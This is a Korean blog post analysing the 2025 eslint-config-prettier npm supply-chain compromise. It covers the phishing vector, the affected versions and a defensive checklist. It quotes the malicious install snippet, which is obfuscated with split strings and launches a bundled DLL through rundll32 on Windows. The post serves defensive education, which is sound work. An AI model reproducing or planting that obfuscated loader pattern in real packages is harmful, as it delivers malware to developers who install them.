본문 바로가기
기술의기록

개발자들을 충격에 빠뜨린 ESLint 플러그인 해킹 사건 완벽 분석

by Jeremy Winchester 2025. 9. 10.
반응형

개발을 하다 보면 우리가 매일 사용하는 도구들이 얼마나 안전한지에 대해 깊이 생각해볼 기회가 많지 않죠. 하지만 지난 7월, 개발자 커뮤니티를 충격에 빠뜨린 사건이 발생했습니다. 바로 주간 다운로드 3천만 건을 자랑하는 eslint-config-prettier 패키지가 해킹당한 것입니다.

이 글을 읽고 나면 이번 해킹 사건의 전말을 완전히 이해하게 되고, 무엇보다 내 프로젝트를 어떻게 보호할 수 있는지 명확한 가이드라인을 얻으실 수 있을 거예요.

🔍 사건의 발단 - 한 통의 피싱 메일이 시작한 대재앙

사건 개요

2025년 7월 18일, 평범한 하루가 시작되는 듯했습니다. 하지만 GitHub 사용자 dasa가 eslint-config-prettier 리포지토리에 올린 이슈 하나가 모든 것을 바꿔놓았죠.

"왜 npm에 이상한 버전들이 올라와 있죠?"

이 단순한 질문이 CVE-2025-54313로 명명된 대규모 공급망 공격의 발견으로 이어졌습니다.

공격의 시작점 - 교묘한 피싱 이메일

범인들은 정말 치밀했습니다. 패키지 관리자 JounQin에게 마치 npm 공식 지원팀에서 보낸 것처럼 위장한 이메일을 발송했거든요.

발신자: support@npmjs.com (위조)
실제 링크: npnjs.com (npm이 아닌 npn!)

이 이메일은 실제 npm 지원 티켓을 언급하며, 정말 npm에서 보낸 것처럼 보이도록 정교하게 제작되었습니다. 하지만 로그인 링크는 타이포스쿼팅 도메인인 npnjs.com으로 연결되어 있었고, 여기서 관리자의 자격 증명과 npm 토큰이 탈취되었습니다.

⚠️ 감염된 패키지 버전들 - 당신의 프로젝트는 안전한가요?

악성 코드가 포함된 버전들

해커들이 악성 코드를 심어 놓은 버전들을 정확히 알아두세요:

eslint-config-prettier:

  • 8.10.1
  • 9.1.1
  • 10.1.6
  • 10.1.7

기타 피해 패키지:

  • eslint-plugin-prettier (4.2.2, 4.2.3)
  • synckit (0.11.9)
  • @pkgr/core
  • napi-postinstall

악성 코드의 동작 방식

정말 무서운 건 이 악성 코드가 얼마나 교묘하게 설계되었는지입니다.

if (os.platform() === 'win32') {
  require('chi' + 'ld_pro' + 'cess')['sp' + 'awn']('rund' + 'll32', [
    path.join(__dirname, './node-gyp.dll') + ',main'
  ]);
}

이 코드는:

  1. Windows 시스템만 타겟으로 함 (Linux/macOS는 안전)
  2. 문자열을 분할하여 보안 도구의 탐지를 회피
  3. node-gyp.dll 파일을 실행하여 시스템 정찰 및 데이터 탈취 수행

🛡️ 피해 범위와 영향 - 생각보다 제한적이었던 이유

다행히도 제한적이었던 피해

이 사건이 대재앙이 되지 않은 이유들:

1. Windows 전용 공격

  • 대부분의 CI/CD 환경은 Linux 기반
  • GitHub Actions, CircleCI, GitLab 등은 기본적으로 Linux 이미지 사용

2. 신속한 대응

  • 악성 버전 공개 후 1시간 만에 커뮤니티 발견
  • 관리자가 즉시 토큰 폐기 및 악성 버전 삭제
  • 깨끗한 버전 재배포 (8.10.2+, 9.1.2+, 10.1.8+)

3. 자동화된 도구들의 경고

  • RenovateBot 같은 의존성 관리 도구가 GitHub와 npm 간 불일치 감지
  • 예상치 못한 설치 스크립트 존재 알림

💡 개발자를 위한 완벽 보안 가이드

즉시 확인해야 할 것들

1. 프로젝트 의존성 점검

# package-lock.json 확인
grep -r "eslint-config-prettier.*8\.10\.1\|9\.1\.1\|10\.1\.6\|10\.1\.7" .

# yarn.lock 확인  
grep -r "eslint-config-prettier.*8\.10\.1\|9\.1\.1\|10\.1\.6\|10\.1\.7" yarn.lock

2. 안전한 버전으로 업데이트

# npm 사용자
npm install eslint-config-prettier@8.10.2
npm install eslint-plugin-prettier@4.2.4

# yarn 사용자
yarn upgrade eslint-config-prettier@8.10.2
yarn upgrade eslint-plugin-prettier@4.2.4

공급망 공격 예방을 위한 5가지 핵심 전략

1. 의존성 고정 (Dependency Pinning)

{
  "dependencies": {
    "eslint-config-prettier": "8.10.2"  // ^ 사용 금지
  }
}

2. npm audit 정기 실행

# 주간 보안 점검
npm audit
npm audit fix

# 심각한 취약점만 확인
npm audit --audit-level=high

3. 패키지 무결성 검증 도구 사용

# Socket.dev CLI 설치
npm install -g @socketsecurity/cli

# 패키지 스캔
socket npm eslint-config-prettier

4. CI/CD 파이프라인 보안 강화

# GitHub Actions 예시
- name: Security Scan
  run: |
    npm audit --audit-level=high
    npx socket-ci

5. 의존성 업데이트 자동화

  • Dependabot 설정으로 안전한 버전 자동 업데이트
  • 수동 검토 프로세스 병행

🔄 앞으로의 npm 생태계 변화

npm의 보안 강화 계획

이번 사건을 계기로 npm은 다음과 같은 보안 강화 방안을 검토 중입니다:

1. 필수 다단계 인증 (MFA)

  • 인기 패키지 관리자 대상 MFA 의무화
  • 토큰 기반 접근 제한

2. 패키지 서명 시스템

  • 디지털 서명으로 패키지 무결성 보장
  • 변조 감지 시스템 도입

3. 자동화된 악성 코드 탐지

  • AI 기반 이상 패턴 감지
  • 실시간 위협 모니터링

개발자 커뮤니티의 각성

이번 사건은 개발자들에게 공급망 보안의 중요성을 일깨워 주었습니다. 앞으로는:

  • 의존성 검토가 코드 리뷰의 필수 항목이 될 것
  • 보안 도구 사용이 표준화될 것
  • 커뮤니티 차원의 보안 의식이 크게 향상될 것

🎯 마무리하며 - 이번 사건에서 배우는 교훈

이번 ESLint 플러그인 해킹 사건은 우리에게 여러 중요한 교훈을 남겼습니다.

첫째, 아무리 신뢰할 만한 패키지라도 완벽하게 안전하지는 않다는 것입니다. 주간 다운로드 3천만 건의 eslint-config-prettier도 해킹당할 수 있었으니까요.

둘째, 커뮤니티의 힘이 얼마나 강력한지 보여주었습니다. 단 1시간 만에 문제를 발견하고 대응한 것은 정말 놀라운 일이었죠.

셋째, 예방이 치료보다 훨씬 중요하다는 걸 다시 한번 확인했습니다. 위에서 소개한 5가지 보안 전략을 지금 당장 프로젝트에 적용해 보세요.

여러분의 프로젝트는 안전한가요? 이 글이 여러분의 개발 환경을 더욱 안전하게 만드는 데 도움이 되었기를 바랍니다.

보안은 한 번에 완성되는 것이 아니라 지속적으로 관리해야 하는 영역입니다. 오늘부터 작은 것 하나라도 실천해 보시는 건 어떨까요? 💪


📚 참고 자료

꼭 기억하세요: 보안은 모든 개발자의 책임입니다! 🔒

반응형